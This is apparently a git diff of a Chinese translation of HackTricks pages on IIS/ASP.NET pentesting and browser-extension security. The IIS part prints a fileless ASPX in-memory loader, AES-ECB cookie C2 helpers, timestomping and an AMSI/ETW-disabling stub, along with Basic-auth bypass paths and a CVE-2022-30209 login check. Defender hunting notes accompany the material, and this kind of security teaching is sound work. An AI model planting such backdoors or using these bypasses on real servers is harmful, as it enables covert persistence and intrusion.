在某个 DLL 导入名为 **WebApplication1.Areas.Minded** 的命名空间的场景中,攻击者可能推断出在可预测路径(例如 **/area-name/Views/**)下存在其他 web.config 文件,这些文件包含特定的配置并引用 /bin 文件夹中的其他 DLL。例如,访问 **/Minded/Views/web.config** 的请求可以暴露出配置和命名空间,从而表明存在另一个 DLL:**WebApplication1.AdditionalFeatures.dll**。
|
||||
|
||||
### 常见文件
|
||||
|
||||
来自 [这里](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
来源:[here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
```
|
||||
C:\Apache\conf\httpd.conf
|
||||
C:\Apache\logs\access.log
|
||||
@ -183,45 +183,164 @@ C:\xampp\security\webdav.htpasswd
|
||||
C:\xampp\sendmail\sendmail.ini
|
||||
C:\xampp\tomcat\conf\server.xml
|
||||
```
|
||||
## HTTPAPI 2.0 404 错误
|
||||
## HTTPAPI 2.0 404 Error
|
||||
|
||||
如果您看到以下错误:
|
||||
If you see an error like the following one:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
这意味着服务器**没有在 Host 头中接收到正确的域名**。\
|
||||
为了访问网页,您可以查看提供的**SSL 证书**,也许可以在其中找到域名/子域名。如果没有,您可能需要**暴力破解 VHosts**,直到找到正确的。
|
||||
如果你看到如下错误:
|
||||
|
||||
这意味着服务器在 Host header 中**未收到正确的域名**。\
|
||||
要访问该网页,你可以查看所提供的 **SSL Certificate**,可能会在其中找到域名/子域名。如果没有,你可能需要**brute force VHosts**直到找到正确的一个。
|
||||
|
||||
## 解密加密的配置和 ASP.NET Core Data Protection key rings
|
||||
|
||||
在 IIS 托管的 .NET 应用中,保护秘密的两种常见模式是:
|
||||
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider),用于 web.config 中像 <connectionStrings> 这样的节。
|
||||
- ASP.NET Core Data Protection key ring(存储在本地),用于保护应用程序的秘密和 cookies。
|
||||
|
||||
如果你对 Web 服务器有文件系统访问或交互访问,位于同一位置的密钥通常允许解密。
|
||||
|
||||
- ASP.NET (Full Framework) – 使用 aspnet_regiis 解密受保护的配置节:
|
||||
```cmd
|
||||
# Decrypt a section by app path (site configured in IIS)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
|
||||
|
||||
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
|
||||
```
|
||||
- ASP.NET Core – 查找本地存储的 Data Protection key rings(XML/JSON 文件),位于如下位置:
|
||||
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
|
||||
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
|
||||
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
|
||||
|
||||
一旦获得 key ring,运行在应用身份下的操作者可以使用相同的 purposes 实例化 IDataProtector 并 unprotect 存储的机密。将 key ring 与应用文件一起存放的错误配置会使主机被攻破后离线解密变得非常容易。
|
||||
|
||||
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR 风格)
|
||||
|
||||
Phantom Taurus/NET-STAR 工具包展示了一个成熟的模式,用于在完全位于 w3wp.exe 内的 fileless IIS 持久化和 post‑exploitation。其核心思路可广泛复用于自定义 tradecraft 以及检测/猎捕。
|
||||
|
||||
Key building blocks
|
||||
- ASPX bootstrapper hosting an embedded payload: 单个 .aspx 页面(例如 OutlookEN.aspx)携带一个 Base64‑encoded、可选的 Gzip‑compressed .NET DLL。收到触发请求后,它会解码、解压并通过反射将其加载到当前 AppDomain,然后调用主入口(例如 ServerRun.Run())。
|
||||
- Cookie‑scoped, encrypted C2 with multi‑stage packing: 任务/结果按 Gzip → AES‑ECB/PKCS7 → Base64 封装,并通过看似合法且携带大量 cookie 的请求传输;操作者使用稳定分隔符(例如 "STAR")进行分块。
|
||||
- Reflective .NET execution: 接受任意 managed assemblies 的 Base64,经由 Assembly.Load(byte[]) 加载并传递操作者参数,以便在不触及磁盘的情况下快速替换模块。
|
||||
- Operating in precompiled ASP.NET sites: 即使站点已预编译,也能添加/管理辅助 shells/backdoors(例如,dropper 添加动态页面/handlers 或利用 config handlers)—通过命令如 bypassPrecompiledApp、addshell、listshell、removeshell 暴露这些功能。
|
||||
- Timestomping/metadata forgery: 提供 changeLastModified 操作并在部署时进行 timestomp(包括未来的编译时间戳),以阻碍 DFIR。
|
||||
- Optional AMSI/ETW pre‑disable for loaders: 二阶段加载器可以在调用 Assembly.Load 之前禁用 AMSI 和 ETW,从而减少对内存中 payload 的检测。
|
||||
|
||||
Minimal ASPX loader pattern
|
||||
```aspx
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System" %>
|
||||
<%@ Import Namespace="System.IO" %>
|
||||
<%@ Import Namespace="System.IO.Compression" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
// 1) Obtain payload bytes (hard‑coded blob or from request)
|
||||
string b64 = /* hardcoded or Request["d"] */;
|
||||
byte[] blob = Convert.FromBase64String(b64);
|
||||
// optional: decrypt here if AES is used
|
||||
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
|
||||
using(var ms = new MemoryStream()){
|
||||
gz.CopyTo(ms);
|
||||
var asm = Assembly.Load(ms.ToArray());
|
||||
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
|
||||
var t = asm.GetType("ServerRun");
|
||||
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
|
||||
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
|
||||
m.Invoke(inst, new object[]{ HttpContext.Current });
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
```
|
||||
打包/加密辅助工具 (Gzip + AES‑ECB + Base64)
|
||||
```csharp
|
||||
using System.Security.Cryptography;
|
||||
|
||||
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
|
||||
using(var aes = Aes.Create()){
|
||||
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
|
||||
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
|
||||
return t.TransformFinalBlock(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
static string Pack(object obj, byte[] key){
|
||||
// serialize → gzip → AES‑ECB → Base64
|
||||
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
|
||||
using var ms = new MemoryStream();
|
||||
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
|
||||
byte[] enc = AesEcb(ms.ToArray(), key, true);
|
||||
return Convert.ToBase64String(enc);
|
||||
}
|
||||
|
||||
static T Unpack<T>(string b64, byte[] key){
|
||||
byte[] enc = Convert.FromBase64String(b64);
|
||||
byte[] cmp = AesEcb(enc, key, false);
|
||||
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
|
||||
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
|
||||
return Deserialize<T>(outMs.ToArray());
|
||||
}
|
||||
```
|
||||
Cookie/session 流程与命令接口
|
||||
- 会话引导和任务分发通过 cookies 传输,以与正常的网页活动混合。
|
||||
- 在实际观测到的命令包括:fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; 以及用于在内存中执行 .NET 代码的动态执行原语 code_self, code_pid, run_code。
|
||||
|
||||
Timestomping 工具
|
||||
```csharp
|
||||
File.SetCreationTime(path, ts);
|
||||
File.SetLastWriteTime(path, ts);
|
||||
File.SetLastAccessTime(path, ts);
|
||||
```
|
||||
在 Assembly.Load 之前内联禁用 AMSI/ETW (loader variant)
|
||||
```csharp
|
||||
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
|
||||
// and ntdll!EtwEventWrite to a stub; then load operator assembly
|
||||
DisableAmsi();
|
||||
DisableEtw();
|
||||
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
|
||||
```
|
||||
参见 AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
|
||||
|
||||
Hunting notes (defenders)
|
||||
- 单个、异常的 ASPX 页面,包含非常长的 Base64/Gzip 数据块;POST 请求携带大量 cookie。
|
||||
- w3wp.exe 内的未注册 managed modules;字符串如 Encrypt/Decrypt (ECB)、Compress/Decompress、GetContext、Run。
|
||||
- 流量中出现重复的定界符如 "STAR";ASPX/assemblies 上的时间戳不匹配或甚至是未来时间戳。
|
||||
|
||||
## 值得关注的旧 IIS 漏洞
|
||||
|
||||
### Microsoft IIS 波浪字符“\~”漏洞/特性 – 短文件/文件夹名称泄露
|
||||
|
||||
您可以尝试使用此**技术**来**枚举文件夹和文件**,即使它需要基本身份验证。\
|
||||
如果服务器存在漏洞,此技术的主要限制是**只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
|
||||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||
|
||||
您可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
你可以尝试使用此 **technique** 在每个发现的文件夹内 **enumerate folders and files**(即使它需要 Basic Authentication)。\
|
||||
如果服务器易受该漏洞影响,此技术的主要限制是 **它最多只能发现每个文件/文件夹名称的前 6 个字符以及文件扩展名的前 3 个字符**。
|
||||
|
||||
你可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试该漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
.png>)
|
||||
|
||||
原始研究:[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||
Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||
|
||||
您还可以使用**metasploit**:`use scanner/http/iis_shortname_scanner`
|
||||
你也可以使用 **metasploit**:`use scanner/http/iis_shortname_scanner`
|
||||
|
||||
一个不错的主意是**找到发现文件的最终名称**,可以**询问 LLMs** 选项,就像在脚本 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中所做的那样。
|
||||
一个很好的思路是使用 **LLMs** 来 **find the final name**,像脚本 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中那样为发现的文件生成候选项。
|
||||
|
||||
### 基本身份验证绕过
|
||||
### Basic Authentication bypass
|
||||
|
||||
**绕过**基本身份验证(**IIS 7.5**),尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
尝试访问以下路径可绕过 Basic Authentication(IIS 7.5):`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
您可以尝试将此**漏洞**与最后一个结合,以查找新的**文件夹**并**绕过**身份验证。
|
||||
你可以尝试将此 **vulnerability** 与上一个结合,以发现新的 **folders** 并 **bypass** 身份验证。
|
||||
|
||||
## ASP.NET Trace.AXD 启用调试
|
||||
## ASP.NET Trace.AXD enabled debugging
|
||||
|
||||
ASP.NET 包含调试模式,其文件名为 `trace.axd`。
|
||||
ASP.NET 包含一个调试模式,其文件名为 `trace.axd`。
|
||||
|
||||
它保持对在一段时间内对应用程序所做的所有请求的详细日志。
|
||||
它会保留一段时间内对应用所做的所有请求的非常详细的日志。
|
||||
|
||||
此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息,甚至可能包括用户名和密码。
|
||||
这些信息包括远程客户端 IP、session IDs、所有请求和响应中的 cookies、物理路径、源代码信息,甚至可能包含用户名和密码。
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||
@ -231,17 +350,17 @@ ASP.NET 包含调试模式,其文件名为 `trace.axd`。
|
||||
|
||||
ASPXAUTH 使用以下信息:
|
||||
|
||||
- **`validationKey`**(字符串):用于签名验证的十六进制编码密钥。
|
||||
- **`decryptionMethod`**(字符串):(默认“ AES”)。
|
||||
- **`decryptionIV`**(字符串):十六进制编码的初始化向量(默认为零向量)。
|
||||
- **`decryptionKey`**(字符串):用于解密的十六进制编码密钥。
|
||||
- **`validationKey`** (string): 用于签名验证的十六进制编码密钥。
|
||||
- **`decryptionMethod`** (string): (默认 “AES”)。
|
||||
- **`decryptionIV`** (string): 十六进制编码的初始化向量(默认为全零向量)。
|
||||
- **`decryptionKey`** (string): 用于解密的十六进制编码密钥。
|
||||
|
||||
然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件**用作**cookie**。因此,如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页,并且您**在被攻击的服务器上创建一个与您想要冒充的用户的电子邮件相同的用户**,您可能能够在第一个服务器中使用**第二个服务器的 cookie**并冒充该用户。\
|
||||
这个攻击在这个 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。
|
||||
但是,有些人会使用这些参数的 **default values**,并将用户的 **email 作为 cookie**。因此,如果你能找到另一个使用 **same platform** 且使用 ASPXAUTH cookie 的网站,并在该被攻击服务器上为你想要冒充的用户 **创建一个相同 email 的用户**,你可能能够将第二个服务器的 cookie 用于第一个服务器,从而冒充该用户。\
|
||||
此攻击在该 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中已被证明有效。
|
||||
|
||||
## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## IIS 使用缓存密码的 Authentication Bypass (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个**密码哈希命中**已经在**缓存**中的密钥的攻击者将能够以该用户身份登录。
|
||||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个 bug **没有正确验证用户提供的密码**,因此当攻击者的 **password hash 碰巧命中已存在于** **cache** 中的一个键时,攻击者将能够以该用户身份登录。
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
@ -261,4 +380,9 @@ HTTP/1.1 401 Unauthorized
|
||||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
- [Unit 42 – Phantom Taurus:一种新的中国 Nexus APT 以及 NET-STAR Malware Suite 的发现](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||
- [AMSI/ETW bypass 背景 (HackTricks)](../../windows-hardening/av-bypass.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,43 +1,43 @@
|
||||
# Browser Extension Pentesting Methodology
|
||||
# 浏览器扩展 Pentesting 方法论
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
浏览器扩展是用 JavaScript 编写的,并在后台由浏览器加载。它具有自己的 [DOM](https://www.w3schools.com/js/js_htmldom.asp),但可以与其他网站的 DOM 进行交互。这意味着它可能会危害其他网站的机密性、完整性和可用性(CIA)。
|
||||
浏览器扩展使用 JavaScript 编写,并由浏览器在后台加载。它有自己的 [DOM](https://www.w3schools.com/js/js_htmldom.asp),但可以与其他站点的 DOM 交互。这意味着它可能危及其他站点的保密性、完整性和可用性 (CIA)。
|
||||
|
||||
## 主要组件
|
||||
|
||||
扩展布局在可视化时效果最佳,由三个组件组成。让我们深入了解每个组件。
|
||||
扩展的布局在可视化时最清晰,通常由三个组件组成。让我们深入了解每个组件。
|
||||
|
||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **内容脚本**
|
||||
|
||||
每个内容脚本可以直接访问 **单个网页** 的 DOM,因此暴露于 **潜在恶意输入**。然而,内容脚本除了能够向扩展核心发送消息外,没有其他权限。
|
||||
每个内容脚本可以直接访问单个网页的 DOM,因此容易受到**潜在的恶意输入**的影响。然而,内容脚本除了向扩展核心发送消息的能力外,不包含其他权限。
|
||||
|
||||
### **扩展核心**
|
||||
|
||||
扩展核心包含大部分扩展权限/访问,但扩展核心只能通过 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 和内容脚本与网页内容进行交互。此外,扩展核心无法直接访问主机机器。
|
||||
扩展核心包含大多数扩展的特权/访问权限,但扩展核心只能通过 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 和内容脚本与网页内容交互。此外,扩展核心没有对主机的直接访问权限。
|
||||
|
||||
### **本地二进制**
|
||||
|
||||
扩展允许一个本地二进制文件,可以 **以用户的全部权限访问主机机器。** 本地二进制通过标准的 Netscape 插件应用程序编程接口 ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) 与扩展核心进行交互,该接口被 Flash 和其他浏览器插件使用。
|
||||
扩展允许一个本地二进制,该二进制可以**以用户的全部权限访问主机**。本地二进制通过标准的 Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) 与扩展核心交互,该接口被 Flash 和其他浏览器插件使用。
|
||||
|
||||
### 边界
|
||||
|
||||
> [!CAUTION]
|
||||
> 为了获得用户的全部权限,攻击者必须说服扩展将恶意输入从内容脚本传递到扩展核心,并从扩展核心传递到本地二进制。
|
||||
> 要获取用户的全部权限,攻击者必须诱使扩展将恶意输入从内容脚本传递到扩展核心,并再从扩展核心传递到本地二进制。
|
||||
|
||||
扩展的每个组件之间由 **强保护边界** 隔开。每个组件在 **单独的操作系统进程** 中运行。内容脚本和扩展核心在 **沙箱进程** 中运行,这些进程对大多数操作系统服务不可用。
|
||||
扩展的每个组件之间通过**强大的保护边界**相互隔离。每个组件在**单独的操作系统进程**中运行。内容脚本和扩展核心运行在大多数操作系统服务无法访问的**沙箱进程**中。
|
||||
|
||||
此外,内容脚本通过 **在单独的 JavaScript 堆中运行** 与其关联的网页分离。内容脚本和网页可以 **访问相同的底层 DOM**,但两者 **从不交换 JavaScript 指针**,防止 JavaScript 功能的泄露。
|
||||
此外,内容脚本通过运行在**独立的 JavaScript 堆**与其关联的网页分离。内容脚本和网页可以**访问相同的底层 DOM**,但两者**从不交换 JavaScript 指针**,从而防止 JavaScript 功能泄露。
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
Chrome 扩展只是一个带有 [.crx 文件扩展名](https://www.lifewire.com/crx-file-2620391) 的 ZIP 文件夹。扩展的核心是位于文件夹根部的 **`manifest.json`** 文件,该文件指定布局、权限和其他配置选项。
|
||||
A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options.
|
||||
|
||||
示例:
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"manifest_version": 2,
|
||||
@ -61,7 +61,7 @@ Chrome 扩展只是一个带有 [.crx 文件扩展名](https://www.lifewire.com/
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
内容脚本在用户**导航到匹配页面**时**加载**,在我们的例子中,任何匹配**`https://example.com/*`**表达式且不匹配**`*://*/*/business*`**正则表达式的页面。它们**像页面自己的脚本一样**执行,并且可以任意访问页面的[文档对象模型 (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)。
|
||||
内容脚本在用户**导航到匹配的页面**时会被**加载**,在我们的例子中指任意匹配 **`https://example.com/*`** 且不匹配 **`*://*/*/business*`** 正则的页面。它们执行 **像页面自身的脚本一样**,并对页面的 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) 拥有任意访问权限。
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
@ -76,9 +76,9 @@ Chrome 扩展只是一个带有 [.crx 文件扩展名](https://www.lifewire.com/
|
||||
}
|
||||
],
|
||||
```
|
||||
为了包含或排除更多的 URL,还可以使用 **`include_globs`** 和 **`exclude_globs`**。
|
||||
为了包含或排除更多 URL,也可以使用 **`include_globs`** 和 **`exclude_globs`**。
|
||||
|
||||
这是一个示例内容脚本,当使用 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 从扩展的存储中检索 `message` 值时,将向页面添加一个解释按钮。
|
||||
这是一个示例 content script,当使用 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 从扩展的存储中检索 `message` 值时,会向页面添加一个 explain 按钮。
|
||||
```js
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let div = document.createElement("div")
|
||||
@ -91,24 +91,24 @@ document.body.appendChild(div)
|
||||
```
|
||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
当点击此按钮时,通过利用[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage),内容脚本向扩展页面发送消息。这是由于内容脚本在直接访问API方面的限制,`storage`是少数例外之一。对于超出这些例外的功能,消息被发送到扩展页面,内容脚本可以与之通信。
|
||||
当点击此按钮时,内容脚本(content script)会通过使用 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) 向扩展页面发送消息。这是因为内容脚本在直接访问 APIs 时受到限制,`storage` 是为数不多的例外之一。对于这些例外之外的功能,内容脚本会向扩展页面发送消息以进行通信。
|
||||
|
||||
> [!WARNING]
|
||||
> 根据浏览器的不同,内容脚本的能力可能会略有不同。对于基于Chromium的浏览器,能力列表可在[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)中找到,而对于Firefox,[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)是主要来源。\
|
||||
> 还值得注意的是,内容脚本能够与后台脚本进行通信,使其能够执行操作并传递响应。
|
||||
> 根据浏览器不同,内容脚本(content script)的能力可能会略有差异。对于基于 Chromium 的浏览器,能力列表可见于 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities),而对于 Firefox,主要参考来源是 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)。\
|
||||
> 另外值得注意的是,内容脚本可以与 background scripts(后台脚本)通信,从而执行操作并将响应返回。
|
||||
|
||||
要在Chrome中查看和调试内容脚本,可以通过选项 > 更多工具 > 开发者工具访问Chrome开发者工具菜单,或按Ctrl + Shift + I。
|
||||
在 Chrome 中查看和调试内容脚本,可以通过菜单中的 Options > More tools > Developer tools 打开 Chrome 开发者工具,或按 Ctrl + Shift + I。
|
||||
|
||||
当开发者工具显示后,点击**源**选项卡,然后点击**内容脚本**选项卡。这允许观察来自各种扩展的运行内容脚本,并设置断点以跟踪执行流程。
|
||||
打开开发者工具后,点击 **Source tab**,然后选择 **Content Scripts** 选项卡。这可以观察来自各个扩展的运行中内容脚本,并设置断点以跟踪执行流程。
|
||||
|
||||
### 注入的内容脚本
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,**内容脚本不是强制性的**,因为也可以**动态** **注入**脚本,并通过**`tabs.executeScript`**在网页中**程序化地注入**它们。这实际上提供了更**细粒度的控制**。
|
||||
> 请注意,**Content Scripts 并非强制要求**,也可以通过 **动态** **注入** 脚本或使用 **`tabs.executeScript`** 在网页中 **以编程方式注入它们**。这实际上提供了更**细粒度的控制**。
|
||||
|
||||
要程序化地注入内容脚本,扩展需要对要注入脚本的页面具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中**请求它们**或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获得。
|
||||
要以编程方式注入内容脚本,扩展必须对要注入脚本的页面具有 [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的 manifest 中 **请求它们** 来获得,或者通过 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) 临时获得。
|
||||
|
||||
#### 示例基于activeTab的扩展
|
||||
#### 基于 activeTab 的扩展示例
|
||||
```json:manifest.json
|
||||
{
|
||||
"name": "My extension",
|
||||
@ -125,7 +125,7 @@ document.body.appendChild(div)
|
||||
}
|
||||
}
|
||||
```
|
||||
- **点击时注入 JS 文件:**
|
||||
- **在点击时 Inject JS 文件:**
|
||||
```javascript
|
||||
// content-script.js
|
||||
document.body.style.backgroundColor = "orange"
|
||||
@ -138,7 +138,7 @@ files: ["content-script.js"],
|
||||
})
|
||||
})
|
||||
```
|
||||
- **在点击时注入一个函数**:
|
||||
- **在点击时注入函数**:
|
||||
```javascript
|
||||
//service-worker.js - Inject a function
|
||||
function injectedFunction() {
|
||||
@ -152,7 +152,7 @@ func: injectedFunction,
|
||||
})
|
||||
})
|
||||
```
|
||||
#### 示例:带有脚本权限
|
||||
#### 具有脚本权限的示例
|
||||
```javascript
|
||||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([
|
||||
@ -167,17 +167,17 @@ js: ["contentScript.js"],
|
||||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
```
|
||||
为了包含或排除更多的 URL,还可以使用 **`include_globs`** 和 **`exclude_globs`**。
|
||||
为了包含或排除更多 URL,也可以使用 **`include_globs`** 和 **`exclude_globs`**。
|
||||
|
||||
### 内容脚本 `run_at`
|
||||
|
||||
`run_at` 字段控制 **JavaScript 文件何时注入到网页中**。首选和默认值是 `"document_idle"`。
|
||||
`run_at` 字段控制 **何时将 JavaScript 文件注入到网页中**。首选且默认值是 `"document_idle"`。
|
||||
|
||||
可能的值有:
|
||||
可能的取值有:
|
||||
|
||||
- **`document_idle`**:尽可能地
|
||||
- **`document_start`**:在任何 `css` 文件之后,但在构建任何其他 DOM 或运行任何其他脚本之前。
|
||||
- **`document_end`**:在 DOM 完成后立即,但在子资源(如图像和框架)加载之前。
|
||||
- **`document_idle`**: 尽可能
|
||||
- **`document_start`**: 在任何来自 `css` 的文件之后,但在构建任何其他 DOM 或运行任何其他脚本之前。
|
||||
- **`document_end`**: 在 DOM 完成后立即,但在诸如图片和框架等子资源加载之前。
|
||||
|
||||
#### 通过 `manifest.json`
|
||||
```json
|
||||
@ -208,18 +208,18 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
由内容脚本发送的消息由**背景页面**接收,该页面在协调扩展的组件中发挥着核心作用。值得注意的是,背景页面在扩展的整个生命周期中持续存在,默默运行而无需直接用户交互。它拥有自己的文档对象模型(DOM),能够实现复杂的交互和状态管理。
|
||||
内容脚本发送的消息由 **背景页** 接收,背景页在协调扩展组件方面起着核心作用。值得注意的是,背景页在扩展的整个生命周期内持续存在,悄无声息地运行且无需与用户直接交互。它拥有自己的文档对象模型 (DOM),能够实现复杂的交互和状态管理。
|
||||
|
||||
**关键点**:
|
||||
**Key Points**:
|
||||
|
||||
- **背景页面角色:** 作为扩展的神经中枢,确保扩展各部分之间的通信和协调。
|
||||
- **持久性:** 它是一个始终存在的实体,对用户不可见,但对扩展的功能至关重要。
|
||||
- **自动生成:** 如果未明确定义,浏览器将自动创建一个背景页面。这个自动生成的页面将包含扩展清单中指定的所有背景脚本,确保扩展的后台任务无缝运行。
|
||||
- **Background Page Role:** 充当扩展的中枢神经,确保扩展各部分之间的通信与协调。
|
||||
- **Persistence:** 它是一个始终存在的实体,对用户不可见但对扩展功能至关重要。
|
||||
- **Automatic Generation:** 如果未明确定义,浏览器会自动创建一个背景页。该自动生成的页面将包含扩展 manifest 中指定的所有 background scripts,从而确保扩展后台任务的无缝运行。
|
||||
|
||||
> [!TIP]
|
||||
